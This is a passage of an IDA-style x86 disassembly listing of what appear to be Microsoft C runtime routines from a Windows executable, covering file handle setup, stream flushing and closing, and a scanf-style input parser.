ds:42604Ch[eax*4] cmp dword ptr [edi], 0 mov ebx, 1000h jnz short loc_412416 push ebx call sub_41183A test eax, eax pop ecx mov [edi], eax jnz short loc_412416 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_412423 ; --------------------------------------------------------------------------- loc_412416: ; CODE XREF: sub_41239F+55j ; sub_41239F+62j mov edi, [edi] mov [esi+8], edi mov [esi], edi mov [esi+18h], ebx mov [esi+4], ebx loc_412423: ; CODE XREF: sub_41239F+75j or dword ptr [esi+0Ch], 1102h pop edi xor eax, eax pop ebx inc eax pop esi retn ; --------------------------------------------------------------------------- loc_412431: ; CODE XREF: sub_41239F+15j ; sub_41239F+31j ... xor eax, eax pop esi retn sub_41239F endp ; =============== S U B R O U T I N E ======================================= sub_412435 proc near ; CODE XREF: sub_40CF9A+128p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 jz short locret_412463 push esi mov esi, [esp+4+arg_4] test word ptr [esi+0Ch], 1000h jz short loc_412462 push esi call sub_41285E and dword ptr [esi+0Ch], 0FFFFEEFFh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx loc_412462: ; CODE XREF: sub_412435+12j pop esi locret_412463: ; CODE XREF: sub_412435+5j retn sub_412435 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412464 proc near ; CODE XREF: .text:0040E0CEp var_64 = byte ptr -64h var_32 = word ptr -32h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 54h push offset dword_421B30 call __SEH_prolog4 xor edi, edi mov [ebp+ms_exc.disabled], edi lea eax, [ebp+var_64] push eax call ds:off_41E18C mov [ebp+ms_exc.disabled], 0FFFFFFFEh push 28h push 20h pop esi push esi call sub_41187A pop ecx pop ecx cmp eax, edi jz loc_41269B mov dword_433C00, eax mov dword_433BE4, esi lea ecx, [eax+500h] jmp short loc_4124D7 ; --------------------------------------------------------------------------- loc_4124AE: ; CODE XREF: sub_412464+75j mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov [eax+8], edi mov byte ptr [eax+24h], 0 mov byte ptr [eax+25h], 0Ah mov byte ptr [eax+26h], 0Ah add eax, 28h mov ecx, dword_433C00 add ecx, 500h loc_4124D7: ; CODE XREF: sub_412464+48j cmp eax, ecx jb short loc_4124AE cmp [ebp+var_32], di jz loc_4125E2 mov eax, [ebp+var_30] cmp eax, edi jz loc_4125E2 mov edi, [eax] lea ebx, [eax+4] lea eax, [ebx+edi] mov [ebp+var_1C], eax mov eax, 800h cmp edi, eax jl short loc_412506 mov edi, eax loc_412506: ; CODE XREF: sub_412464+9Ej xor esi, esi inc esi jmp short loc_41255D ; --------------------------------------------------------------------------- loc_41250B: ; CODE XREF: sub_412464+FFj push 28h push 20h call sub_41187A pop ecx pop ecx test eax, eax jz short loc_412567 lea ecx, ds:433C00h[esi*4] mov [ecx], eax add dword_433BE4, 20h lea edx, [eax+500h] jmp short loc_412558 ; --------------------------------------------------------------------------- loc_412532: ; CODE XREF: sub_412464+F6j mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah and dword ptr [eax+8], 0 and byte ptr [eax+24h], 80h mov byte ptr [eax+25h], 0Ah mov byte ptr [eax+26h], 0Ah add eax, 28h mov edx, [ecx] add edx, 500h loc_412558: ; CODE XREF: sub_412464+CCj cmp eax, edx jb short loc_412532 inc esi loc_41255D: ; CODE XREF: sub_412464+A5j cmp dword_433BE4, edi jl short loc_41250B jmp short loc_41256D ; --------------------------------------------------------------------------- loc_412567: ; CODE XREF: sub_412464+B4j mov edi, dword_433BE4 loc_41256D: ; CODE XREF: sub_412464+101j and [ebp+var_20], 0 test edi, edi jle short loc_4125E2 loc_412575: ; CODE XREF: sub_412464+17Cj mov eax, [ebp+var_1C] mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_4125D5 cmp ecx, 0FFFFFFFEh jz short loc_4125D5 mov al, [ebx] test al, 1 jz short loc_4125D5 test al, 8 jnz short loc_412599 push ecx call ds:dword_41E130 ; GetFileType test eax, eax jz short loc_4125D5 loc_412599: ; CODE XREF: sub_412464+128j mov esi, [ebp+var_20] mov eax, esi sar eax, 5 and esi, 1Fh imul esi, 28h add esi, dword_433C00[eax*4] mov eax, [ebp+var_1C] mov eax, [eax] mov [esi], eax mov al, [ebx] mov [esi+4], al push 0FA0h lea eax, [esi+0Ch] push eax call sub_416874 pop ecx pop ecx test eax, eax jz loc_41269B inc dword ptr [esi+8] loc_4125D5: ; CODE XREF: sub_412464+119j ; sub_412464+11Ej ... inc [ebp+var_20] inc ebx add [ebp+var_1C], 4 cmp [ebp+var_20], edi jl short loc_412575 loc_4125E2: ; CODE XREF: sub_412464+7Bj ; sub_412464+86j ... xor ebx, ebx loc_4125E4: ; CODE XREF: sub_412464+213j mov esi, ebx imul esi, 28h add esi, dword_433C00 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_412601 cmp eax, 0FFFFFFFEh jz short loc_412601 or byte ptr [esi+4], 80h jmp short loc_412673 ; --------------------------------------------------------------------------- loc_412601: ; CODE XREF: sub_412464+190j ; sub_412464+195j mov byte ptr [esi+4], 81h test ebx, ebx jnz short loc_41260E push 0FFFFFFF6h pop eax jmp short loc_412618 ; --------------------------------------------------------------------------- loc_41260E: ; CODE XREF: sub_412464+1A3j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_412618: ; CODE XREF: sub_412464+1A8j push eax call ds:dword_41E134 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_412669 test edi, edi jz short loc_412669 push edi call ds:dword_41E130 ; GetFileType test eax, eax jz short loc_412669 mov [esi], edi and eax, 0FFh cmp eax, 2 jnz short loc_412647 or byte ptr [esi+4], 40h jmp short loc_412650 ; --------------------------------------------------------------------------- loc_412647: ; CODE XREF: sub_412464+1DBj cmp eax, 3 jnz short loc_412650 or byte ptr [esi+4], 8 loc_412650: ; CODE XREF: sub_412464+1E1j ; sub_412464+1E6j push 0FA0h lea eax, [esi+0Ch] push eax call sub_416874 pop ecx pop ecx test eax, eax jz short loc_41269B inc dword ptr [esi+8] jmp short loc_412673 ; --------------------------------------------------------------------------- loc_412669: ; CODE XREF: sub_412464+1C0j ; sub_412464+1C4j ... or byte ptr [esi+4], 40h mov dword ptr [esi], 0FFFFFFFEh loc_412673: ; CODE XREF: sub_412464+19Bj ; sub_412464+203j inc ebx cmp ebx, 3 jl loc_4125E4 push dword_433BE4 call ds:dword_41E138 ; LockResource xor eax, eax jmp short loc_41269E ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_41269B: ; CODE XREF: sub_412464+31j ; sub_412464+168j ... or eax, 0FFFFFFFFh loc_41269E: ; CODE XREF: sub_412464+227j call __SEH_epilog4 retn sub_412464 endp ; =============== S U B R O U T I N E ======================================= sub_4126A4 proc near ; CODE XREF: sub_40CF9A+63p ; sub_40CF9A+6Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_4126CC call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4126CC: ; CODE XREF: sub_4126A4+9j mov eax, [eax+10h] pop esi retn sub_4126A4 endp ; =============== S U B R O U T I N E ======================================= sub_4126D1 proc near ; CODE XREF: sub_412765+94p ; sub_417C3F+340p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_418949 cmp eax, 0FFFFFFFFh pop ecx jz short loc_412730 cmp esi, 1 mov eax, dword_433C00 jnz short loc_4126F3 test byte ptr [eax+54h], 1 jnz short loc_4126FE loc_4126F3: ; CODE XREF: sub_4126D1+1Aj cmp esi, 2 jnz short loc_412714 test byte ptr [eax+2Ch], 1 jz short loc_412714 loc_4126FE: ; CODE XREF: sub_4126D1+20j push 2 call sub_418949 push 1 mov edi, eax call sub_418949 cmp eax, edi pop ecx pop ecx jz short loc_412730 loc_412714: ; CODE XREF: sub_4126D1+25j ; sub_4126D1+2Bj push esi call sub_418949 pop ecx push eax call ds:dword_41E0C4 ; CloseHandle test eax, eax jnz short loc_412730 call ds:dword_41E0D8 ; RtlGetLastWin32Error mov edi, eax jmp short loc_412732 ; --------------------------------------------------------------------------- loc_412730: ; CODE XREF: sub_4126D1+10j ; sub_4126D1+41j ... xor edi, edi loc_412732: ; CODE XREF: sub_4126D1+5Dj push esi call sub_4188C8 mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 test edi, edi mov eax, dword_433C00[eax*4] pop ecx mov byte ptr [eax+esi+4], 0 jz short loc_412760 push edi call sub_40F7FA pop ecx or eax, 0FFFFFFFFh jmp short loc_412762 ; --------------------------------------------------------------------------- loc_412760: ; CODE XREF: sub_4126D1+81j xor eax, eax loc_412762: ; CODE XREF: sub_4126D1+8Dj pop edi pop esi retn sub_4126D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412765 proc near ; CODE XREF: sub_40D1E4+48p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_421B50 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_412794 call sub_40F7E7 and dword ptr [eax], 0 call sub_40F7D4 mov dword ptr [eax], 9 loc_41278C: ; CODE XREF: sub_412765+5Cj or eax, 0FFFFFFFFh jmp loc_412822 ; --------------------------------------------------------------------------- loc_412794: ; CODE XREF: sub_412765+12j xor edi, edi cmp eax, edi jl short loc_4127A2 cmp eax, dword_433BE4 jb short loc_4127C3 loc_4127A2: ; CODE XREF: sub_412765+33j ; sub_412765+7Cj call sub_40F7E7 mov [eax], edi call sub_40F7D4 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h jmp short loc_41278C ; --------------------------------------------------------------------------- loc_4127C3: ; CODE XREF: sub_412765+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:433C00h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_4127A2 push eax call sub_4189BA pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_412804 push [ebp+arg_0] call sub_4126D1 pop ecx mov [ebp+var_1C], eax jmp short loc_412813 ; --------------------------------------------------------------------------- loc_412804: ; CODE XREF: sub_412765+8Fj call sub_40F7D4 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_412813: ; CODE XREF: sub_412765+9Dj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_412828 mov eax, [ebp+var_1C] loc_412822: ; CODE XREF: sub_412765+2Aj call __SEH_epilog4 retn sub_412765 endp ; =============== S U B R O U T I N E ======================================= sub_412828 proc near ; CODE XREF: sub_412765+B5p ; DATA XREF: r69pu5ti:00421B68o push dword ptr [ebp+8] call sub_418A5A pop ecx retn sub_412828 endp ; =============== S U B R O U T I N E ======================================= sub_412832 proc near ; CODE XREF: sub_40D1E4+3Cp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41285C test al, 8 jz short loc_41285C push dword ptr [esi+8] call sub_40D35A and dword ptr [esi+0Ch], 0FFFFFBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41285C: ; CODE XREF: sub_412832+Aj ; sub_412832+Ej pop esi retn sub_412832 endp ; =============== S U B R O U T I N E ======================================= sub_41285E proc near ; CODE XREF: sub_40D1E4+34p ; sub_412435+15p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_4128B2 test ax, 108h jz short loc_4128B2 mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_4128B1 push edi push eax push esi call sub_4126A4 pop ecx push eax call sub_417180 add esp, 0Ch cmp eax, edi jnz short loc_4128AA mov eax, [esi+0Ch] test al, al jns short loc_4128B1 and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_4128B1 ; --------------------------------------------------------------------------- loc_4128AA: ; CODE XREF: sub_41285E+3Bj or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_4128B1: ; CODE XREF: sub_41285E+25j ; sub_41285E+42j ... pop edi loc_4128B2: ; CODE XREF: sub_41285E+13j ; sub_41285E+19j mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx retn sub_41285E endp ; =============== S U B R O U T I N E ======================================= sub_4128C0 proc near ; CODE XREF: sub_412902+69p ; sub_412902+84p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_4128D2 push esi call sub_412902 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4128D2: ; CODE XREF: sub_4128C0+7j push esi call sub_41285E test eax, eax pop ecx jz short loc_4128E2 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4128E2: ; CODE XREF: sub_4128C0+1Bj test word ptr [esi+0Ch], 4000h jz short loc_4128FE push esi call sub_4126A4 push eax call sub_418C1B pop ecx pop ecx neg eax sbb eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4128FE: ; CODE XREF: sub_4128C0+28j xor eax, eax pop esi retn sub_4128C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412902 proc near ; CODE XREF: sub_4128C0+Ap ; sub_4129DC+2p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004129B5 SIZE 0000001E BYTES push 14h push offset dword_421B70 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_24], edi push 1 call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], edi xor esi, esi loc_412923: ; CODE XREF: sub_412902+9Bj mov [ebp+var_20], esi cmp esi, dword_434D20 jge loc_4129B5 mov eax, dword_433D00 lea eax, [eax+esi*4] cmp [eax], edi jz short loc_41299C mov eax, [eax] test byte ptr [eax+0Ch], 83h jz short loc_41299C push eax push esi call sub_411E0F pop ecx pop ecx xor edx, edx inc edx mov [ebp+ms_exc.disabled], edx mov eax, dword_433D00 mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_412994 cmp [ebp+arg_0], edx jnz short loc_41297B push eax call sub_4128C0 pop ecx cmp eax, 0FFFFFFFFh jz short loc_412994 inc [ebp+var_1C] jmp short loc_412994 ; --------------------------------------------------------------------------- loc_41297B: ; CODE XREF: sub_412902+66j cmp [ebp+arg_0], edi jnz short loc_412994 test cl, 2 jz short loc_412994 push eax call sub_4128C0 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_412994 or [ebp+var_24], eax loc_412994: ; CODE XREF: sub_412902+61j ; sub_412902+72j ... mov [ebp+ms_exc.disabled], edi call sub_4129A4 loc_41299C: ; CODE XREF: sub_412902+3Aj ; sub_412902+42j inc esi jmp short loc_412923 sub_412902 endp ; =============== S U B R O U T I N E ======================================= sub_41299F proc near ; DATA XREF: r69pu5ti:00421B94o xor edi, edi mov esi, [ebp-20h] sub_41299F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4129A4 proc near ; CODE XREF: sub_412902+95p mov eax, dword_433D00 push dword ptr [eax+esi*4] push esi call sub_411E61 pop ecx pop ecx retn sub_4129A4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_412902 loc_4129B5: ; CODE XREF: sub_412902+2Aj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_4129D3 cmp [ebp+arg_0], 1 mov eax, [ebp+var_1C] jz short loc_4129CD mov eax, [ebp+var_24] loc_4129CD: ; CODE XREF: sub_412902+C6j call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_412902 ; =============== S U B R O U T I N E ======================================= sub_4129D3 proc near ; CODE XREF: sub_412902+BAp ; DATA XREF: r69pu5ti:00421B88o push 1 call sub_40F91F pop ecx retn sub_4129D3 endp ; =============== S U B R O U T I N E ======================================= sub_4129DC proc near ; CODE XREF: sub_411DC0p push 1 call sub_412902 pop ecx retn sub_4129DC endp ; =============== S U B R O U T I N E ======================================= sub_4129E5 proc near ; CODE XREF: sub_412A74+3CDp ; sub_412A74+447p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esi] cmp [esp+arg_0], eax jnz short loc_412A35 mov ecx, [edi] cmp ecx, [esp+arg_4] push 2 push eax jnz short loc_412A24 call sub_41187A test eax, eax pop ecx pop ecx mov [edi], eax jnz short loc_412A08 loc_412A05: ; CODE XREF: sub_4129E5+4Aj xor eax, eax retn ; --------------------------------------------------------------------------- loc_412A08: ; CODE XREF: sub_4129E5+1Ej mov eax, [esp+arg_8] mov dword ptr [eax], 1 push dword ptr [esi] push [esp+4+arg_4] push dword ptr [edi] call sub_40D820 add esp, 0Ch jmp short loc_412A33 ; --------------------------------------------------------------------------- loc_412A24: ; CODE XREF: sub_4129E5+11j push ecx call sub_41190D add esp, 0Ch test eax, eax jz short loc_412A05 mov [edi], eax loc_412A33: ; CODE XREF: sub_4129E5+3Dj shl dword ptr [esi], 1 loc_412A35: ; CODE XREF: sub_4129E5+6j xor eax, eax inc eax retn sub_4129E5 endp ; =============== S U B R O U T I N E ======================================= sub_412A39 proc near ; CODE XREF: sub_412A4F+7p ; sub_412A74+2E1p ... dec dword ptr [edx+4] js short loc_412A47 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_412A47: ; CODE XREF: sub_412A39+3j push edx call sub_413A04 pop ecx retn sub_412A39 endp ; =============== S U B R O U T I N E ======================================= sub_412A4F proc near ; CODE XREF: sub_412A74+14Fp ; sub_412A74+2D3p arg_0 = dword ptr 4 push ebx loc_412A50: ; CODE XREF: sub_412A4F+1Fj mov edx, [esp+4+arg_0] inc dword ptr [esi] call sub_412A39 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_412A70 movzx eax, bl push eax call sub_418E42 test eax, eax pop ecx jnz short loc_412A50 loc_412A70: ; CODE XREF: sub_412A4F+11j mov eax, ebx pop ebx retn sub_412A4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=18Ch sub_412A74 proc near ; DATA XREF: sub_40D33B+10o var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = byte ptr -1DCh var_1DB = byte ptr -1DBh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C9 = byte ptr -1C9h var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_1A3 = byte ptr -1A3h var_1A2 = byte ptr -1A2h var_1A1 = byte ptr -1A1h var_1A0 = dword ptr -1A0h var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_198 = dword ptr -198h var_191 = byte ptr -191h var_190 = dword ptr -190h var_189 = byte ptr -189h var_188 = dword ptr -188h var_184 = byte ptr -184h var_24 = byte ptr -24h var_19 = byte ptr -19h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp lea ebp, [esp-18Ch] sub esp, 1FCh mov eax, dword_423068 xor eax, ebp mov [ebp+18Ch+var_4], eax mov eax, [ebp+18Ch+arg_C] push ebx push esi mov esi, [ebp+18Ch+arg_0] xor ebx, ebx push edi mov edi, [ebp+18Ch+arg_4] cmp edi, ebx mov [ebp+18Ch+var_1E4], eax lea eax, [ebp+18Ch+var_184] mov [ebp+18Ch+var_1A0], esi mov [ebp+18Ch+var_1B4], edi mov [ebp+18Ch+var_1B0], eax mov [ebp+18Ch+var_1D8], 15Eh mov [ebp+18Ch+var_1D0], ebx mov [ebp+18Ch+var_1E8], ebx mov [ebp+18Ch+var_190], ebx jnz short loc_412AE9 loc_412AC9: ; CODE XREF: sub_412A74+77j ; sub_412A74+C6j ... call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp loc_4136A9 ; --------------------------------------------------------------------------- loc_412AE9: ; CODE XREF: sub_412A74+53j cmp esi, ebx jz short loc_412AC9 test byte ptr [esi+0Ch], 40h jnz loc_412B88 push esi call sub_4126A4 cmp eax, 0FFFFFFFFh pop ecx jz short loc_412B31 push esi call sub_4126A4 cmp eax, 0FFFFFFFEh pop ecx jz short loc_412B31 push esi call sub_4126A4 sar eax, 5 push esi lea edi, ds:433C00h[eax*4] call sub_4126A4 and eax, 1Fh imul eax, 28h add eax, [edi] pop ecx pop ecx jmp short loc_412B36 ; --------------------------------------------------------------------------- loc_412B31: ; CODE XREF: sub_412A74+8Dj ; sub_412A74+99j mov eax, offset dword_423BB8 loc_412B36: ; CODE XREF: sub_412A74+BBj test byte ptr [eax+24h], 7Fh jnz short loc_412AC9 push esi call sub_4126A4 cmp eax, 0FFFFFFFFh pop ecx jz short loc_412B76 push esi call sub_4126A4 cmp eax, 0FFFFFFFEh pop ecx jz short loc_412B76 push esi call sub_4126A4 sar eax, 5 push esi lea edi, ds:433C00h[eax*4] call sub_4126A4 and eax, 1Fh imul eax, 28h add eax, [edi] pop ecx pop ecx jmp short loc_412B7B ; --------------------------------------------------------------------------- loc_412B76: ; CODE XREF: sub_412A74+D2j ; sub_412A74+DEj mov eax, offset dword_423BB8 loc_412B7B: ; CODE XREF: sub_412A74+100j test byte ptr [eax+24h], 80h jnz loc_412AC9 mov edi, [ebp+18Ch+var_1B4] loc_412B88: ; CODE XREF: sub_412A74+7Dj push [ebp+18Ch+arg_8] lea ecx, [ebp+18Ch+var_1F8] call sub_40AB59 mov al, [edi] test al, al mov [ebp+18Ch+var_1A1], bl mov [ebp+18Ch+var_188], ebx mov [ebp+18Ch+var_1C8], ebx jz loc_413699 mov edi, [ebp+18Ch+var_1B4] loc_412BAC: ; CODE XREF: sub_412A74+BC2j movzx eax, al push eax call sub_418E42 test eax, eax pop ecx jz short loc_412BED push [ebp+18Ch+var_1A0] dec [ebp+18Ch+var_188] lea esi, [ebp+18Ch+var_188] call sub_412A4F cmp eax, 0FFFFFFFFh pop ecx jz short loc_412BD9 push [ebp+18Ch+var_1A0] push eax call sub_418E6B pop ecx pop ecx loc_412BD9: ; CODE XREF: sub_412A74+158j ; sub_412A74+172j inc edi movzx eax, byte ptr [edi] push eax call sub_418E42 test eax, eax pop ecx jnz short loc_412BD9 jmp loc_413632 ; --------------------------------------------------------------------------- loc_412BED: ; CODE XREF: sub_412A74+144j cmp byte ptr [edi], 25h jnz loc_4135DA xor eax, eax mov [ebp+18Ch+var_1E0], eax mov [ebp+18Ch+var_1C9], al mov [ebp+18Ch+var_1A8], eax mov [ebp+18Ch+var_1B8], eax mov [ebp+18Ch+var_198], eax mov [ebp+18Ch+var_1A4], al mov [ebp+18Ch+var_1A3], al mov [ebp+18Ch+var_199], al mov [ebp+18Ch+var_189], al mov [ebp+18Ch+var_1A2], al mov [ebp+18Ch+var_191], al mov [ebp+18Ch+var_19A], 1 mov [ebp+18Ch+var_1D4], eax xor esi, esi loc_412C22: ; CODE XREF: sub_412A74+279j inc edi movzx ebx, byte ptr [edi] movzx eax, bl push eax call sub_418D4B test eax, eax pop ecx jz short loc_412C49 mov eax, [ebp+18Ch+var_198] inc [ebp+18Ch+var_1B8] imul eax, 0Ah lea eax, [eax+ebx-30h] mov [ebp+18Ch+var_198], eax jmp loc_412CE9 ; --------------------------------------------------------------------------- loc_412C49: ; CODE XREF: sub_412A74+1BEj cmp ebx, 4Eh jg short loc_412CBF jz loc_412CE9 cmp ebx, 2Ah jz short loc_412CBA cmp ebx, 46h jz loc_412CE9 cmp ebx, 49h jz short loc_412C71 cmp ebx, 4Ch jnz short loc_412CCE inc [ebp+18Ch+var_19A] jmp short loc_412CE9 ; --------------------------------------------------------------------------- loc_412C71: ; CODE XREF: sub_412A74+1F1j mov cl, [edi+1] cmp cl, 36h jnz short loc_412C8E lea eax, [edi+2] cmp byte ptr [eax], 34h jnz short loc_412C8E loc_412C81: ; CODE XREF: sub_412A74+265j inc [ebp+18Ch+var_1D4] mov edi, eax mov [ebp+18Ch+var_1C0], esi mov [ebp+18Ch+var_1BC], esi jmp short loc_412CE9 ; --------------------------------------------------------------------------- loc_412C8E: ; CODE XREF: sub_412A74+203j ; sub_412A74+20Bj cmp cl, 33h jnz short loc_412C9F lea eax, [edi+2] cmp byte ptr [eax], 32h jnz short loc_412C9F mov edi, eax jmp short loc_412CE9 ; --------------------------------------------------------------------------- loc_412C9F: ; CODE XREF: sub_412A74+21Dj ; sub_412A74+225j cmp cl, 64h jz short loc_412CE9 cmp cl, 69h jz short loc_412CE9 cmp cl, 6Fh jz short loc_412CE9 cmp cl, 78h jz short loc_412CE9 cmp cl, 58h jnz short loc_412CCE jmp short loc_412CE9 ; --------------------------------------------------------------------------- loc_412CBA: ; CODE XREF: sub_412A74+1E3j inc [ebp+18Ch+var_199] jmp short loc_412CE9 ; --------------------------------------------------------------------------- loc_412CBF: ; CODE XREF: sub_412A74+1D8j cmp ebx, 68h jz short loc_412CE3 cmp ebx, 6Ch jz short loc_412CD3 cmp ebx, 77h jz short loc_412CDE loc_412CCE: ; CODE XREF: sub_412A74+1F6j ; sub_412A74+242j inc [ebp+18Ch+var_189] jmp short loc_412CE9 ; --------------------------------------------------------------------------- loc_412CD3: ; CODE XREF: sub_412A74+253j lea eax, [edi+1] cmp byte ptr [eax], 6Ch jz short loc_412C81 inc [ebp+18Ch+var_19A] loc_412CDE: ; CODE XREF: sub_412A74+258j inc [ebp+18Ch+var_191] jmp short loc_412CE9 ; --------------------------------------------------------------------------- loc_412CE3: ; CODE XREF: sub_412A74+24Ej dec [ebp+18Ch+var_19A] dec [ebp+18Ch+var_191] loc_412CE9: ; CODE XREF: sub_412A74+1D0j ; sub_412A74+1DAj ... cmp [ebp+18Ch+var_189], 0 jz loc_412C22 cmp [ebp+18Ch+var_199], 0 mov [ebp+18Ch+var_1B4], edi jnz short loc_412D0A mov eax, [ebp+18Ch+var_1E4] mov esi, [eax] mov [ebp+18Ch+var_1FC], eax add eax, 4 mov [ebp+18Ch+var_1E4], eax loc_412D0A: ; CODE XREF: sub_412A74+286j cmp [ebp+18Ch+var_191], 0 mov [ebp+18Ch+var_1C4], esi mov [ebp+18Ch+var_189], 0 jnz short loc_412D29 mov al, [edi] cmp al, 53h jz short loc_412D25 cmp al, 43h mov [ebp+18Ch+var_191], 0FFh jnz short loc_412D29 loc_412D25: ; CODE XREF: sub_412A74+2A7j mov [ebp+18Ch+var_191], 1 loc_412D29: ; CODE XREF: sub_412A74+2A1j ; sub_412A74+2AFj movzx ebx, byte ptr [edi] or ebx, 20h cmp ebx, 6Eh mov [ebp+18Ch+var_1AC], ebx jz short loc_412D6C cmp ebx, 63h jz short loc_412D4F cmp ebx, 7Bh jz short loc_412D4F push [ebp+18Ch+var_1A0] lea esi, [ebp+18Ch+var_188] call sub_412A4F pop ecx jmp short loc_412D5A ; --------------------------------------------------------------------------- loc_412D4F: ; CODE XREF: sub_412A74+2C6j ; sub_412A74+2CBj mov edx, [ebp+18Ch+var_1A0] inc [ebp+18Ch+var_188] call sub_412A39 loc_412D5A: ; CODE XREF: sub_412A74+2D9j cmp eax, 0FFFFFFFFh mov [ebp+18Ch+var_190], eax jz loc_413666 mov esi, [ebp+18Ch+var_1C4] mov edi, [ebp+18Ch+var_1B4] loc_412D6C: ; CODE XREF: sub_412A74+2C1j mov ecx, [ebp+18Ch+var_1B8] test ecx, ecx jz short loc_412D7D cmp [ebp+18Ch+var_198], 0 jz loc_41363E loc_412D7D: ; CODE XREF: sub_412A74+2FDj cmp ebx, 6Fh jg loc_413189 jz loc_4133B4 cmp ebx, 63h jz loc_41307B push 64h pop eax cmp ebx, eax jz loc_4133B4 jle loc_4131B3 cmp ebx, 67h jle short loc_412DE3 cmp ebx, 69h jz short loc_412DCB cmp ebx, 6Eh jnz loc_4131B3 cmp [ebp+18Ch+var_199], 0 mov edi, [ebp+18Ch+var_188] jz loc_4135AE jmp loc_4135CE ; --------------------------------------------------------------------------- loc_412DCB: ; CODE XREF: sub_412A74+33Aj mov [ebp+18Ch+var_1AC], eax loc_412DCE: ; CODE XREF: sub_412A74+734j mov ebx, [ebp+18Ch+var_190] cmp ebx, 2Dh jnz loc_41329C mov [ebp+18Ch+var_1A3], 1 jmp loc_4132A1 ; --------------------------------------------------------------------------- 